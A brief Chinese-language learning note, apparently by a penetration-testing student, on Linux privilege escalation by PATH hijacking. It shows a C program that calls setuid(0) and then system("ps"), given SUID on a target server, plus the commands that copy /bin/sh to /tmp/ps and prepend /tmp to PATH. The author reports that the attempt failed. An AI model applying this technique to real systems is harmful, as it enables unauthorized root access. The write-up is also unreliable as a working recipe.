环境变量提权
环境变量提权就是linux在执行系统命令的时候,会调用一些环境变量的文件。
然后我们对环境变量的文件进行替换。
比如说,执行id和执行/bin/id
效果是一样的,可以理解未win安装python时候需要添加环境变量,然后cmd可以直接运行python
接下来是复现过程
写一个c文件放到对方服务器上去编译成第三方软件
yx.c
#include<unistd.h>
void main()
{ setuid(0);
setgid(0);
system("ps");
}
这是c文件的内容,然后传到目标主机编译成第三方软件
然后给yx文件SUID权限
然后
替换
cp /bin/sh /tmp/ps
export PATH=/tmp:$PATH
./yx
id 查看用户
好,提权失败
不知道为啥